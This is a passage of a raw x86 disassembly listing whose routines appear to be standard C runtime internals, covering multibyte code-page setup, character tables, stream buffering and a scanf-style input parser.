loc_4208DD: ; CODE XREF: sub_420749+18Fj pop edi pop esi pop ebx leave retn sub_420749 endp ; =============== S U B R O U T I N E ======================================= sub_4208E2 proc near ; CODE XREF: sub_420749+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_4DBE4C, 0 cmp eax, 0FFFFFFFEh jnz short loc_420902 mov dword_4DBE4C, 1 nop jmp near ptr 2670820h ; --------------------------------------------------------------------------- loc_420902: ; CODE XREF: sub_4208E2+Ej cmp eax, 0FFFFFFFDh jnz short loc_420917 mov dword_4DBE4C, 1 nop jmp near ptr 2670831h ; --------------------------------------------------------------------------- loc_420917: ; CODE XREF: sub_4208E2+23j cmp eax, 0FFFFFFFCh jnz short locret_42092B mov eax, dword_4DBE94 mov dword_4DBE4C, 1 locret_42092B: ; CODE XREF: sub_4208E2+38j retn sub_4208E2 endp ; =============== S U B R O U T I N E ======================================= sub_42092C proc near ; CODE XREF: sub_420749+118p ; sub_420749+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_420959 sub eax, 4 jz short loc_420953 sub eax, 0Dh jz short loc_42094D dec eax jz short loc_420947 xor eax, eax retn ; --------------------------------------------------------------------------- loc_420947: ; CODE XREF: sub_42092C+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_42094D: ; CODE XREF: sub_42092C+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_420953: ; CODE XREF: sub_42092C+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_420959: ; CODE XREF: sub_42092C+9j mov eax, 411h retn sub_42092C endp ; =============== S U B R O U T I N E ======================================= sub_42095F proc near ; CODE XREF: sub_420749:loc_4208CCp push edi push 40h pop ecx xor eax, eax mov edi, offset byte_4DD260 rep stosd stosb xor eax, eax mov edi, offset dword_4DD150 mov dword_4DD144, eax mov dword_4DD15C, eax mov dword_4DD364, eax stosd stosd stosd pop edi retn sub_42095F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420988 proc near ; CODE XREF: sub_420749:loc_4208D1p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_4DD144 call near ptr 267087Ch nop cmp eax, 1 jnz loc_420AC1 xor eax, eax mov esi, 100h loc_4209B2: ; CODE XREF: sub_420988+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_4209B2 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_420A03 push ebx push edi lea edx, [ebp+var_D] loc_4209D1: ; CODE XREF: sub_420988+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_4209F8 sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_4209F8: ; CODE XREF: sub_420988+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_4209D1 pop edi pop ebx loc_420A03: ; CODE XREF: sub_420988+42j push 0 lea eax, [ebp+var_514] push dword_4DD364 push dword_4DD144 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_4244F4 push 0 lea eax, [ebp+var_214] push dword_4DD144 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_4DD364 call sub_4232A8 push 0 lea eax, [ebp+var_314] push dword_4DD144 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_4DD364 call sub_4232A8 add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_420A7E: ; CODE XREF: sub_420988+135j mov dx, [ecx] test dl, 1 jz short loc_420A9C or byte_4DD261[eax], 10h mov dl, [ebp+eax+var_214] loc_420A94: ; CODE XREF: sub_420988+127j mov byte_4DD160[eax], dl jmp short loc_420AB8 ; --------------------------------------------------------------------------- loc_420A9C: ; CODE XREF: sub_420988+FCj test dl, 2 jz short loc_420AB1 or byte_4DD261[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_420A94 ; --------------------------------------------------------------------------- loc_420AB1: ; CODE XREF: sub_420988+117j and byte_4DD160[eax], 0 loc_420AB8: ; CODE XREF: sub_420988+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_420A7E jmp short loc_420B0A ; --------------------------------------------------------------------------- loc_420AC1: ; CODE XREF: sub_420988+1Dj xor eax, eax mov esi, 100h loc_420AC8: ; CODE XREF: sub_420988+180j cmp eax, 41h jb short loc_420AE6 cmp eax, 5Ah ja short loc_420AE6 or byte_4DD261[eax], 10h mov cl, al add cl, 20h loc_420ADE: ; CODE XREF: sub_420988+174j mov byte_4DD160[eax], cl jmp short loc_420B05 ; --------------------------------------------------------------------------- loc_420AE6: ; CODE XREF: sub_420988+143j ; sub_420988+148j cmp eax, 61h jb short loc_420AFE cmp eax, 7Ah ja short loc_420AFE or byte_4DD261[eax], 20h mov cl, al sub cl, 20h jmp short loc_420ADE ; --------------------------------------------------------------------------- loc_420AFE: ; CODE XREF: sub_420988+161j ; sub_420988+166j and byte_4DD160[eax], 0 loc_420B05: ; CODE XREF: sub_420988+15Cj inc eax cmp eax, esi jb short loc_420AC8 loc_420B0A: ; CODE XREF: sub_420988+137j pop esi leave retn sub_420988 endp ; =============== S U B R O U T I N E ======================================= sub_420B0D proc near ; CODE XREF: ___:00423684p ; ___:004236E0p ... cmp dword_4DD394, 0 jnz short locret_420B28 push 0FFFFFFFDh call sub_420749 pop ecx mov dword_4DD394, 1 locret_420B28: ; CODE XREF: sub_420B0D+7j retn sub_420B0D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420B29 proc near ; CODE XREF: sub_41C3B1+2Bp ; sub_41C3B1+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_4DD15C, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_420B4D push [ebp+arg_8] push [ebp+arg_4] push edi call sub_41BFD0 add esp, 0Ch jmp short loc_420BB0 ; --------------------------------------------------------------------------- loc_420B4D: ; CODE XREF: sub_420B29+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_420B92 mov ecx, [ebp+arg_4] loc_420B58: ; CODE XREF: sub_420B29+5Bj mov al, [ecx] dec edx movzx esi, al test byte_4DD261[esi], 4 mov [edi], al jz short loc_420B7C inc edi inc ecx test edx, edx jz short loc_420B88 mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_420B8E jmp short loc_420B82 ; --------------------------------------------------------------------------- loc_420B7C: ; CODE XREF: sub_420B29+3Ej inc edi inc ecx test al, al jz short loc_420B92 loc_420B82: ; CODE XREF: sub_420B29+51j test edx, edx jnz short loc_420B58 jmp short loc_420B92 ; --------------------------------------------------------------------------- loc_420B88: ; CODE XREF: sub_420B29+44j and byte ptr [edi-1], 0 jmp short loc_420B92 ; --------------------------------------------------------------------------- loc_420B8E: ; CODE XREF: sub_420B29+4Fj and byte ptr [edi-2], 0 loc_420B92: ; CODE XREF: sub_420B29+2Aj ; sub_420B29+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_420BAD lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_420BAD: ; CODE XREF: sub_420B29+6Fj mov eax, [ebp+arg_0] loc_420BB0: ; CODE XREF: sub_420B29+22j pop edi pop ebp retn sub_420B29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420BB3 proc near ; CODE XREF: sub_41C59D+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DBE84, 0 push ebx jnz short loc_420BDE mov eax, [ebp+arg_0] cmp eax, 61h jl loc_420C7C cmp eax, 7Ah jg loc_420C7C sub eax, 20h jmp loc_420C7C ; --------------------------------------------------------------------------- loc_420BDE: ; CODE XREF: sub_420BB3+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_420C11 cmp dword_43D084, 1 jle short loc_420BFE push 2 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_420C09 ; --------------------------------------------------------------------------- loc_420BFE: ; CODE XREF: sub_420BB3+3Dj mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 2 loc_420C09: ; CODE XREF: sub_420BB3+49j test eax, eax jnz short loc_420C11 loc_420C0D: ; CODE XREF: sub_420BB3+AFj mov eax, ebx jmp short loc_420C7C ; --------------------------------------------------------------------------- loc_420C11: ; CODE XREF: sub_420BB3+34j ; sub_420BB3+58j mov edx, off_43CE78 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_420C34 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_420C3D ; --------------------------------------------------------------------------- loc_420C34: ; CODE XREF: sub_420BB3+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_420C3D: ; CODE XREF: sub_420BB3+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_4DBE84 call sub_4232A8 add esp, 20h test eax, eax jz short loc_420C0D cmp eax, 1 jnz short loc_420C6F movzx eax, [ebp+var_4] jmp short loc_420C7C ; --------------------------------------------------------------------------- loc_420C6F: ; CODE XREF: sub_420BB3+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_420C7C: ; CODE XREF: sub_420BB3+14j ; sub_420BB3+1Dj ... pop ebx leave retn sub_420BB3 endp ; =============== S U B R O U T I N E ======================================= sub_420C7F proc near ; CODE XREF: sub_41C7BC+1Dp ; sub_41DC5E+16p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_4DBDE0, ecx mov eax, offset dword_43D190 loc_420C90: ; CODE XREF: sub_420C7F+1Ej cmp ecx, [eax] jz short loc_420CB4 add eax, 8 inc edx cmp eax, offset dword_43D2F8 jl short loc_420C90 cmp ecx, 13h jb short loc_420CC1 cmp ecx, 24h ja short loc_420CC1 mov dword_4DBDDC, 0Dh retn ; --------------------------------------------------------------------------- loc_420CB4: ; CODE XREF: sub_420C7F+13j mov eax, dword_43D194[edx*8] mov dword_4DBDDC, eax retn ; --------------------------------------------------------------------------- loc_420CC1: ; CODE XREF: sub_420C7F+23j ; sub_420C7F+28j cmp ecx, 0BCh jb short loc_420CDB cmp ecx, 0CAh mov dword_4DBDDC, 8 jbe short locret_420CE5 loc_420CDB: ; CODE XREF: sub_420C7F+48j mov dword_4DBDDC, 16h locret_420CE5: ; CODE XREF: sub_420C7F+5Aj retn sub_420C7F endp ; =============== S U B R O U T I N E ======================================= sub_420CE6 proc near ; CODE XREF: sub_41C7E6+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_42463D test eax, eax pop ecx jz short loc_420D6F cmp esi, offset dword_43D588 jnz short loc_420D04 xor eax, eax jmp short loc_420D0F ; --------------------------------------------------------------------------- loc_420D04: ; CODE XREF: sub_420CE6+18j cmp esi, offset dword_43D5A8 jnz short loc_420D6F push 1 pop eax loc_420D0F: ; CODE XREF: sub_420CE6+1Cj inc dword_4DBFAC test word ptr [esi+0Ch], 10Ch jnz short loc_420D6F cmp dword_4DBE50[eax*4], 0 push ebx push edi lea edi, ds:4DBE50h[eax*4] mov ebx, 1000h jnz short loc_420D55 push ebx call sub_41BEB5 test eax, eax pop ecx mov [edi], eax jnz short loc_420D55 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_420D62 ; --------------------------------------------------------------------------- loc_420D55: ; CODE XREF: sub_420CE6+4Dj ; sub_420CE6+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_420D62: ; CODE XREF: sub_420CE6+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_420D6F: ; CODE XREF: sub_420CE6+10j ; sub_420CE6+24j ... xor eax, eax pop esi retn sub_420CE6 endp ; =============== S U B R O U T I N E ======================================= sub_420D73 proc near ; CODE XREF: sub_41C7E6+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_420D9D mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_420DAE push esi call sub_41E42B and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_420D9D: ; CODE XREF: sub_420D73+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_420DAE push eax call sub_41E42B pop ecx loc_420DAE: ; CODE XREF: sub_420D73+10j ; sub_420D73+32j pop esi retn sub_420D73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420DB0 proc near ; CODE XREF: sub_41CCE3+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_4217B6 mov edi, [ebp+arg_0] jmp short loc_420DDF ; --------------------------------------------------------------------------- loc_420DDA: ; CODE XREF: sub_420DB0+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_420DDF: ; CODE XREF: sub_420DB0+28j cmp dword_43D084, 1 jle short loc_420DF7 movzx eax, al push 8 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_420E06 ; --------------------------------------------------------------------------- loc_420DF7: ; CODE XREF: sub_420DB0+36j mov ecx, off_43CE78 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_420E06: ; CODE XREF: sub_420DB0+45j cmp eax, ebx jz short loc_420E40 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_42183D pop ecx pop ecx push eax call sub_421826 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41DF10 add esp, 0Ch loc_420E2E: ; CODE XREF: sub_420DB0+8Ej test eax, eax jz short loc_420E40 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41DF10 pop ecx jmp short loc_420E2E ; --------------------------------------------------------------------------- loc_420E40: ; CODE XREF: sub_420DB0+58j ; sub_420DB0+80j cmp byte ptr [esi], 25h jnz loc_421722 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_420E77: ; CODE XREF: sub_420DB0+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_43D084, 1 jle short loc_420E94 movzx eax, bl push 4 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_420EA3 ; --------------------------------------------------------------------------- loc_420E94: ; CODE XREF: sub_420DB0+D3j mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_420EA3: ; CODE XREF: sub_420DB0+E2j test eax, eax jz short loc_420EB9 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420EB9: ; CODE XREF: sub_420DB0+F5j cmp ebx, 4Eh jg short loc_420EFC jz short loc_420F1E cmp ebx, 2Ah jz short loc_420EF7 cmp ebx, 46h jz short loc_420F1E cmp ebx, 49h jz short loc_420ED9 cmp ebx, 4Ch jnz short loc_420F0B inc [ebp+var_D] jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420ED9: ; CODE XREF: sub_420DB0+11Dj cmp byte ptr [esi+1], 36h jnz short loc_420F0B cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_420F0B inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420EF7: ; CODE XREF: sub_420DB0+113j inc [ebp+var_E] jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420EFC: ; CODE XREF: sub_420DB0+10Cj cmp ebx, 68h jz short loc_420F18 cmp ebx, 6Ch jz short loc_420F10 cmp ebx, 77h jz short loc_420F13 loc_420F0B: ; CODE XREF: sub_420DB0+122j ; sub_420DB0+12Dj ... inc [ebp+var_F] jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420F10: ; CODE XREF: sub_420DB0+154j inc [ebp+var_D] loc_420F13: ; CODE XREF: sub_420DB0+159j inc [ebp+var_5] jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420F18: ; CODE XREF: sub_420DB0+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_420F1E: ; CODE XREF: sub_420DB0+107j ; sub_420DB0+10Ej ... cmp [ebp+var_F], 0 jz loc_420E77 cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_420F43 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_420F43: ; CODE XREF: sub_420DB0+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_420F61 mov al, [esi] cmp al, 53h jz short loc_420F5D cmp al, 43h jz short loc_420F5D or [ebp+var_5], 0FFh jmp short loc_420F61 ; --------------------------------------------------------------------------- loc_420F5D: ; CODE XREF: sub_420DB0+1A1j ; sub_420DB0+1A5j mov [ebp+var_5], 1 loc_420F61: ; CODE XREF: sub_420DB0+19Bj ; sub_420DB0+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_420F9A cmp esi, 63h jz short loc_420F8B cmp esi, 7Bh jz short loc_420F8B push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_42183D pop ecx jmp short loc_420F96 ; --------------------------------------------------------------------------- loc_420F8B: ; CODE XREF: sub_420DB0+1C5j ; sub_420DB0+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_42180C loc_420F96: ; CODE XREF: sub_420DB0+1D9j pop ecx mov [ebp+var_14], eax loc_420F9A: ; CODE XREF: sub_420DB0+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_420FAA cmp [ebp+var_C], eax jz loc_421786 loc_420FAA: ; CODE XREF: sub_420DB0+1EFj cmp esi, 6Fh jg loc_421211 jz loc_4214C3 cmp esi, 63h jz loc_4211EE cmp esi, 64h jz loc_4214C3 jle loc_42123B cmp esi, 67h jle short loc_42100E cmp esi, 69h jz short loc_420FF6 cmp esi, 6Eh jnz loc_42123B cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_4216F1 jmp loc_421717 ; --------------------------------------------------------------------------- loc_420FF6: ; CODE XREF: sub_420DB0+229j push 64h pop esi loc_420FF9: ; CODE XREF: sub_420DB0+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_421283 mov [ebp+var_17], 1 jmp loc_421288 ; --------------------------------------------------------------------------- loc_42100E: ; CODE XREF: sub_420DB0+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_42102A mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_42102F ; --------------------------------------------------------------------------- loc_42102A: ; CODE XREF: sub_420DB0+26Aj cmp ebx, 2Bh jnz short loc_421046 loc_42102F: ; CODE XREF: sub_420DB0+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_421049 ; --------------------------------------------------------------------------- loc_421046: ; CODE XREF: sub_420DB0+27Dj mov edi, [ebp+arg_0] loc_421049: ; CODE XREF: sub_420DB0+294j cmp [ebp+var_20], 0 jz short loc_421058 cmp [ebp+var_C], 15Dh jle short loc_42105F loc_421058: ; CODE XREF: sub_420DB0+29Dj mov [ebp+var_C], 15Dh loc_42105F: ; CODE XREF: sub_420DB0+2A6j ; sub_420DB0+2F2j cmp dword_43D084, 1 jle short loc_421074 push 4 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_42107F ; --------------------------------------------------------------------------- loc_421074: ; CODE XREF: sub_420DB0+2B6j mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 4 loc_42107F: ; CODE XREF: sub_420DB0+2C2j test eax, eax jz short loc_4210A4 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_4210A4 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_42105F ; --------------------------------------------------------------------------- loc_4210A4: ; CODE XREF: sub_420DB0+2D1j ; sub_420DB0+2DBj cmp byte_43D088, bl jnz short loc_421112 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_421112 inc [ebp+var_4] push edi call sub_42180C mov ebx, eax mov al, byte_43D088 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_4210CD: ; CODE XREF: sub_420DB0+360j cmp dword_43D084, 1 jle short loc_4210E2 push 4 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_4210ED ; --------------------------------------------------------------------------- loc_4210E2: ; CODE XREF: sub_420DB0+324j mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 4 loc_4210ED: ; CODE XREF: sub_420DB0+330j test eax, eax jz short loc_421112 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_421112 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4210CD ; --------------------------------------------------------------------------- loc_421112: ; CODE XREF: sub_420DB0+2FAj ; sub_420DB0+304j ... cmp [ebp+var_1C], 0 jz loc_4211AA cmp ebx, 65h jz short loc_42112A cmp ebx, 45h jnz loc_4211AA loc_42112A: ; CODE XREF: sub_420DB0+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_4211AA mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_421151 mov [esi], al inc esi jmp short loc_421156 ; --------------------------------------------------------------------------- loc_421151: ; CODE XREF: sub_420DB0+39Aj cmp ebx, 2Bh jnz short loc_421174 loc_421156: ; CODE XREF: sub_420DB0+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_421165 and [ebp+var_C], eax jmp short loc_421174 ; --------------------------------------------------------------------------- loc_421165: ; CODE XREF: sub_420DB0+3AEj ; sub_420DB0+3F8j inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_421174: ; CODE XREF: sub_420DB0+3A4j ; sub_420DB0+3B3j cmp dword_43D084, 1 jle short loc_421189 push 4 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_421194 ; --------------------------------------------------------------------------- loc_421189: ; CODE XREF: sub_420DB0+3CBj mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 4 loc_421194: ; CODE XREF: sub_420DB0+3D7j test eax, eax jz short loc_4211AA mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_4211AA inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_421165 ; --------------------------------------------------------------------------- loc_4211AA: ; CODE XREF: sub_420DB0+366j ; sub_420DB0+374j ... dec [ebp+var_4] push edi push ebx call sub_421826 cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_4217B6 cmp [ebp+var_E], 0 jnz loc_421717 inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_43D428 add esp, 0Ch jmp loc_421717 ; --------------------------------------------------------------------------- loc_4211EE: ; CODE XREF: sub_420DB0+20Cj cmp [ebp+var_20], eax jnz short loc_4211FD inc [ebp+var_C] mov [ebp+var_20], 1 loc_4211FD: ; CODE XREF: sub_420DB0+441j cmp [ebp+var_5], 0 jle short loc_421207 mov [ebp+var_16], 1 loc_421207: ; CODE XREF: sub_420DB0+451j mov edi, offset dword_43D300 jmp loc_42131C ; --------------------------------------------------------------------------- loc_421211: ; CODE XREF: sub_420DB0+1FDj mov eax, esi sub eax, 70h jz loc_4214BF sub eax, 3 jz loc_42130D dec eax dec eax jz loc_4214C3 sub eax, 3 jz loc_420FF9 sub eax, 3 jz short loc_42125F loc_42123B: ; CODE XREF: sub_420DB0+21Bj ; sub_420DB0+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_421786 dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_421717 mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_421717 ; --------------------------------------------------------------------------- loc_42125F: ; CODE XREF: sub_420DB0+489j cmp [ebp+var_5], 0 jle short loc_421269 mov [ebp+var_16], 1 loc_421269: ; CODE XREF: sub_420DB0+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_421320 mov eax, edi lea edi, [eax+1] jmp loc_42131C ; --------------------------------------------------------------------------- loc_421283: ; CODE XREF: sub_420DB0+24Fj cmp ebx, 2Bh jnz short loc_4212AA loc_421288: ; CODE XREF: sub_420DB0+259j dec [ebp+var_C] jnz short loc_421299 cmp [ebp+var_20], 0 jz short loc_421299 mov [ebp+var_F], 1 jmp short loc_4212AA ; --------------------------------------------------------------------------- loc_421299: ; CODE XREF: sub_420DB0+4DBj ; sub_420DB0+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_4212AA: ; CODE XREF: sub_420DB0+4D6j ; sub_420DB0+4E7j cmp ebx, 30h jnz loc_4214F8 push [ebp+arg_0] inc [ebp+var_4] call sub_42180C mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_4212F8 cmp bl, 58h jz short loc_4212F8 cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_4212E2 push 6Fh loc_4212DC: ; CODE XREF: sub_420DB0+55Bj pop esi jmp loc_4214F8 ; --------------------------------------------------------------------------- loc_4212E2: ; CODE XREF: sub_420DB0+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_421826 pop ecx pop ecx push 30h pop ebx jmp loc_4214F5 ; --------------------------------------------------------------------------- loc_4212F8: ; CODE XREF: sub_420DB0+517j ; sub_420DB0+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_42180C pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_4212DC ; --------------------------------------------------------------------------- loc_42130D: ; CODE XREF: sub_420DB0+46Fj cmp [ebp+var_5], 0 jle short loc_421317 mov [ebp+var_16], 1 loc_421317: ; CODE XREF: sub_420DB0+561j mov edi, offset dword_43D2F8 loc_42131C: ; CODE XREF: sub_420DB0+45Cj ; sub_420DB0+4CEj or [ebp+var_18], 0FFh loc_421320: ; CODE XREF: sub_420DB0+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_41BF70 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_421344 cmp byte ptr [edi], 5Dh jnz short loc_421344 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_421347 ; --------------------------------------------------------------------------- loc_421344: ; CODE XREF: sub_420DB0+584j ; sub_420DB0+589j mov dl, [ebp+var_35] loc_421347: ; CODE XREF: sub_420DB0+592j ; sub_420DB0+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_4213AC inc edi cmp al, 2Dh jnz short loc_421393 test dl, dl jz short loc_421393 mov cl, [edi] cmp cl, 5Dh jz short loc_421393 inc edi cmp dl, cl jnb short loc_421366 mov al, cl jmp short loc_42136A ; --------------------------------------------------------------------------- loc_421366: ; CODE XREF: sub_420DB0+5B0j mov al, dl mov dl, cl loc_42136A: ; CODE XREF: sub_420DB0+5B4j cmp dl, al ja short loc_42138F movzx edx, dl movzx esi, al sub esi, edx inc esi loc_421377: ; CODE XREF: sub_420DB0+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] 